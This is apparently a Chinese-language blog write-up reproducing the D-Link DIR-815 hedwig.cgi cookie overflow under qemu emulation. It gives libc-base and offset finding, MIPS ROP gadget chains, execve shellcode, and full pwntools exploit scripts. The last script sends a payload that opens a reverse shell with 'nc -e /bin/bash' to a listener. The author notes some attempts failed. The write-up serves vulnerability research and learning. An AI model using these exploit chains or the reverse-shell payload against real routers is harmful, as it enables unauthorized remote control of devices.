DIR-815

仔细研读了winmt师傅和ZIKH26师傅的复现,现在自己来复现一遍

漏洞详情

image-20240425225544242

静态分析

该部分可以看ZIKH26师傅的blog,原本是想在师傅的分析上补充的,但是事情太多了,最后看的脑子疼,只能暂且搁置了

动态调试

确认libc_base

由于该gdb是链接在qemu模式下的,因此不能直接通过vmmap得到libc基址,而直接libc又因为权限不足无法使用,又因为这个路由设备的真机就是没有开地址随机化的,因此我们只需要**通过找一个libc函数地址减去偏移来得到libc_base**,而因为“延迟绑定的特性”,要找两个使用libc函数的地址

image-20240422235933593 image-20240423000016590

可以得到memset的地址在0x7f76ca20

image-20240423000125429

可以得到libc_base=0x7f76ca20-0x034A20=0x7F738000

确认溢出大小

首先,cyclic 2000 > payload,将生成的2000个字符存放到payload文件中,再用以下shell脚本:

1
2
3
4
5
6
7
#!/bin/bash

INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
image-20240423000624091

得到了libc_base和溢出大小,现在就要寻找对应的gadget来提权

此时的寄存器为

image-20240423194608538

发现S8恰好为返回地址的上一位,S7,S6直到S0逐渐递减,因此可以控制S0-S8以此构造ROP链

qemu用户模式复现

寻找ROPgadget

复习一下gadget的寻找

image-20240423185734832

其中比较重要的是$v0为函数返回值存放的寄存器,$ra存在返回地址,$a0-$a3存在函数的四个调用参数,当需要使用更多的寄存器时,就需要堆栈(stack)了,需要注意的是MIPS编译器总是为参数在堆栈中留有空间以防有参数需要存储。

因此对于使用ROP进行一般的函数操作来说,寄存器的四个参数已经足够了,因此控制这个四个寄存器对于ROP来说比较关键。

在uclibc库中,有几个比较关键的gadget,在scandir的尾部或者scandir64的尾部,从图上看基本上可以设置所有寄存器值,从s0-s7

image-20240423185850706 image-20240423185927880

有一条比较常规的ROP链,执行的整体流程为 sleep(1) -> read_value_from_stack -> jump to stack(shellcode)

布置ROP链

system地址末两位是\x00,而sprintf会被\x00截断,因此这里采用的方法是:读进去system_addr - 1,再找到addiu ..., 1gadget对其操作后再跳转过去

因此得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base=0x7F738000
#prepare:
#0x000158C8 | addiu $s0,1 | jalr $s5
#0x00015B74 | move $a0,$s2 | jalr $s0

payload=973*b'A'
payload+=p32(libc_base+0x53200-1) #s0 system-1
payload+=4*b'A' #s1
payload+=p32(libc_base+ 0x6DFD0) #s2 /bin/sh
payload+=4*b'A' #s3
payload+=4*b'A' #s4
payload+=p32(libc_base+ 0x15B74) #s5 move $a0,$s2 | jalr $s0
payload+=4*b'A' #s6
payload+=4*b'A' #s7
payload+=4*b'A' #s8
payload+=p32(libc_base + 0x000158C8) #ra addiu $s0,1 | jalr $s5
payload=b'uid=' + payload

post_content=b's1nec-1o=pwnner'

io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)

io.send(post_content)

io.interactive()

看了winmt师傅的博客说是用户模式该方法打不通的原因是:这里的system函数中有调用fork()函数,而用户模式是不支持多线程的,这里fork()的失败,会导致后面$fp是个空指针,就会出错,之后在系统模式打就不会出问题了。

image-20240423211312592

这里就出问题了

ret2shellcode

到这里需要布置shellcode链,这种做法就不会导致system中的fork使得打不通,因为是直接调用execve,而因为sprintf的0截断,因此shell里不能出现\x00,还要注意不能出现缓存不一致性(需要一个时间来同步),因此先调用一下sleep(1),再去执行shellcode

这里还需要提到一个点,因此调用的sleep函数,他的栈会往下移,因此ra和s寄存器的值所在的位置会不一样,我是通过调试确定的,先调试:

22e0c1e77961f170faf679ff4d9a3c0a

这是先借用winmt师傅的poc,这是到达sleep函数的栈位置可以看到调用sleep的地址-04c与ra所在的地址-004相差了0x48,即18个地址长度,第18个地址就是ra了,再看sleep的源码前面部分:

image-20240424191520351

发现只有s4-s0,因此可以以此构造ROP链,跳到shellcode,实现ret2shellcode

在构造ROP链的时候还遇到了很多问题,在jalr到sleep函数的时候,建议间接跳转,因为在sleep函数中会调用各种寄存器,取地址上的值时必须保证寄存器为有效数,而通过间接跳转时,例如在跳转和sleep中间再多加一条链,这样相当于重置寄存器,因为有些寄存器例如gp不会保存就会一直使用等等

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
context(os = 'linux', arch = 'mips', log_level = 'debug')

#prepare
#0x00057E50 | li $a0,1 | jalr $s1
#0x00013F74 | addiu $s1,$sp,0x28+var_10 | jalr $s4
#

libc_base = 0x7F738000

payload=b'A'*0x3cd
payload+=b'A'*4 #s0
payload+=p32(libc_base + 0x436D0) #s1 move $t9, $s3 (=> lw... => jalr $t9)
payload+=b'A'*4 #s2
payload+=p32(libc_base + 0x56BD0) #s3 sleep
payload+=b'A'*4 #s4
payload+=b'A'*4 #s5
payload+=b'A'*4 #s6
payload+=b'A'*4 #s7
payload+=b'A'*4 #s8
payload+=p32(libc_base+0x57E50) #ra li $a0,1 | jalr $s1
payload+=b'A'*4
payload+=b'A'*4
payload+=b'A'*4
payload+=b'A'*4
payload+=b'A'*4
payload+=b'A'*4
payload+=b'A'*4 #s0
payload+=b'A'*4 #s1
payload+=b'A'*4 #s2
payload+=b'A'*4 #s3
payload+=p32(libc_base+0x57E50) #s4 li $a0,1 | jalr $s1
payload+=p32(libc_base+0x13F74) #second ra addiu $s1,$sp,0x28+var_10 | jalr $s4

shellcode=asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

post_content='s1nec-1o=pwner'
payload+=0x18*b'A'
payload+=shellcode

payload=b'uid='+payload
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

此时就成功getshell了

image-20240424195751503

但是ZIKH26师傅:这里执行 execve("/bin/sh") 成功其实是一种假象,因为固件中的 /bin/sh 链接到了 busybox 上,虽然 busybox 是静态链接,但因为它是 MIPS 架构,导致了我在 x64 上直接执行是失败的。因此我上面是把原本的 sh 给删掉,换成了主机自带的 x64 架构的 sh ,同时还把相应的动态库都放到了当前的 /lib 下面,才算执行成功。不然用原本的 sh 还是执行失败,这么做的目的仅仅是为了证明这种操作理论上是可以拿到 shell

qemu系统模式复现

实现宿主机与 qemu 的通信

创建一个 net.sh 脚本,我这里的网卡是 ens33 ,如果是 eth0 的话,就把出现的 ens33 换成 eth0 即可,chmod +x net.sh 给文件可执行权限,然后 ./net.sh 运行

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息

然后再执行如下几条命令

1
2
3
4
5
#!/bin/sh
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0

再用下面这个脚本启动

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no

这个系统的链接是ZIKH26师傅的链接:https://pan.baidu.com/s/1-qvt7pG0Tr91JKoH2elNdQ?pwd=l04v提取码:l04v

确保此时的系统可以ping通物理机,以便之后的传输文件

image-20240425215309877 image-20240425215157154

启动 httpd 服务

squashfs-root 的上一级目录中,执行下面的命令, IP 换成 qemu 的。这样可以实现计算机远程之间的文件传输,作用就是把提取出来的文件系统传到 qemu 里面

1
sudo scp -r ./squashfs-root root@10.214.140.139:/root/squashfs-root

然后在 qemu 中的 squashfs-root 目录下新建一个 http_conf 文件

写入以下代码(网卡和 IP port 要改成自己的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.121.128 #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

然后在物理机上 /opt/tools/mipsel 目录(没有的话就自己创建吧)中新建 init.sh 文件,写入如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

给这个 init.sh ,可执行权限,然后将其执行

然后在 qemu 中的 squashfs-root 目录下创建 init.sh 文件,写入下面的内容。给可执行权限,然后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

最后进到 /squashfs-root/sbin 目录下,执行 ./httpd -f /root/squashfs-root/http_conf

在宿主机中访问 http://10.214.140.139/hedwig.cgi 发现可以正常访问了(如下)

image-20240425215457410

这是为了之后的打exp做准备

开启 httpd 服务后,如果要进行调试则需要下载一个 gdbserver.mipsle ,然后再用 scp 命令将其上传到 qemu 中的 /root/squashfs-root/ 目录下。

qemu/root/squashfs-root/ 目录下新建 run.sh 脚本(IP 改成宿主机的,端口)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsle 10.214.140.140:7788 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

但是这里我报了一个错误,跟ZIKH26师傅一样

image-20240425215625540

ZIKH26师傅说可能是pwndbg对数据包的解析(推测

我原本的想法是将gdb整个的版本降低到对应的版本,但是因为操作问题就搁置了。。。如果有人找到解决方法希望能教一下我(本人纯菜

这里是直接运行hedwig.cgi的同时还cat /proc/pid/maps得到的内存布局

image-20240425220116640

但是不知道为什么我的libc版本好像跟网上的师傅有出入,导致libc基址不一样

先是nv -lvnp 8888,然后运行以下XP即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.121.128 8888'

libc_base = 0x2aadc000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.121.128/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

但是我一直打不通,或许是libc基址的问题。。。。。因为无法调试所以就。。。。。没法子